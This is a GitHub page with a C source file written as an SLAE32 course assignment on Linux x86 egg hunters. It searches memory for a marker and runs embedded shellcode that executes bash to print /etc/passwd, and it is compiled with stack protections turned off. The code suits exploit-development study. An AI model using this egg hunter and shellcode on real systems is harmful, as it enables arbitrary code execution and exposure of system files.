-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathegg-shellcode-embedded.c
182 lines (140 loc) · 4.72 KB
/
egg-shellcode-embedded.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
/*
Jean-Pierre LESUEUR (@DarkCoderSc)
jplesueur@phrozen.io
https://www.phrozen.io/
https://github.com/darkcodersc
License : MIT
---
SLAE32 Assignment 3 : Linux x86-32 Egg Hunter Research.
---
gcc egg-shellcode-embedded.c -o egg-shellcode-embedded -z execstack -no-pie -fno-stack-protector
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <math.h>
unsigned int page_size = 0;
char egg[8] = "21676765"; // egg! (Little Endian)
/*****************************************************************************************************
Define our shellcode to search in memory.
EGG|EGG|OpCode
*****************************************************************************************************/
unsigned char shellcode[] = \
"\x65\x67\x67\x21" // egg!
"\x65\x67\x67\x21" // egg!
// OpCode
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x69\x6e\x2f\x2f\x68\x2f\x2f"
"\x2f\x62\x89\xe3\x66\xb8\x2d\x63\x50\x31\xc0\x89\xe2\x50\x68\x73"
"\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x20\x2f\x65\x74\x68\x2f\x63"
"\x61\x74\x68\x2f\x62\x69\x6e\x89\xe6\x50\x56\x52\x53\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80";
/****************************************************************************************************
Check memory region for an egg !
(\__/)
( ._.) <3
(°°)(°°)
_____________________
****************************************************************************************************/
_Bool egg_hunt(unsigned int *ptr, char *egg_name, _Bool access_chk) {
/*
Safety control to be sure, we are not reading a bad memory region.
*/
_Bool access_violation = 0;
if (access_chk) {
/*
access_chk is optional, it is useless to call access() on first egg check since we already
know we have access to that memory address.
When we try to test next address (for control egg), we must call access() to be sure it is still
in a valid memory region.
(!) Keeping access_chk always on will slow down overall performance for egg hunting.
*/
access_violation = ((access((char *) ptr, F_OK) == -1) && (errno == EFAULT));
}
if (!access_violation) {
char addr[9]; // Address 4Bytes => (Hex = 8 Bytes) + NULL (1B) = 9;
snprintf(addr, sizeof(addr), "%08x", *ptr);
if (strcmp(addr, egg_name) == 0) {
return 1;
}
}
///
return 0;
}
/****************************************************************************************************
Search for an egg in memory and return its address.
Safely walk through memory page by page.
// Scenario:
if walk.address = str("EGG") then
walk.next_address
if walk.address = str("EGG") then
walk.next_address
run(opcode(next_address)
****************************************************************************************************/
unsigned int egg_hunter() {
unsigned int max_page = (pow(2, 32) / page_size); // 2^32 = Max memory size for 32bit systems.
unsigned int page_cursor = 0; // Current memory page.
unsigned int mem_cursor = 0; // Current memory cursor (relative to page_cursor).
_Bool found = 0; // egg presence flag
/*
Walk through memory page by page.
*/
for (unsigned int i = 0; i < max_page; i++) {
page_cursor = (i * page_size);
///
/*
Check if we have access to current memory page.
*/
if ((access((char *) page_cursor, F_OK) == -1) && (errno == EFAULT)) {
/*
We don't have access to that memory region. Next!
*/
continue;
} else {
/*
If we have access to memory page, walk through page memory
bytes by bytes until page end.
*/
for (unsigned int n = 0; n < (page_size -3); n++) {
mem_cursor = (page_cursor + n);
///
unsigned int *ptr = (unsigned int *) mem_cursor; // Pointer to current memory location.
if (egg_hunt(ptr, egg, 0 /* We already know memory address is valid */)) {
ptr++;
///
if (egg_hunt(ptr, egg, 1 /* We want to test memory address */)) {
ptr++;
///
return (unsigned int) ptr;
}
}
}
}
}
///
return 0;
}
/****************************************************************************************************
Program Entry Point
****************************************************************************************************/
void main() {
/*
Get current defined page size. On Linux it is generally 4kiB (4096).
*/
page_size = sysconf(_SC_PAGESIZE);
/*
Hunt egg and trigger shellcode.
*/
printf("Search for egg pattern: 0x%s\n", egg);
unsigned int shellcode_addr = egg_hunter();
if (shellcode_addr == 0) {
printf("Egg pattern not found in memory!\n");
} else {
printf("Execute shellcode at address 0x%x\n", shellcode_addr);
void (*shellcode_proc) (void);
shellcode_proc = (void *)shellcode_addr;
shellcode_proc();
}
return;
}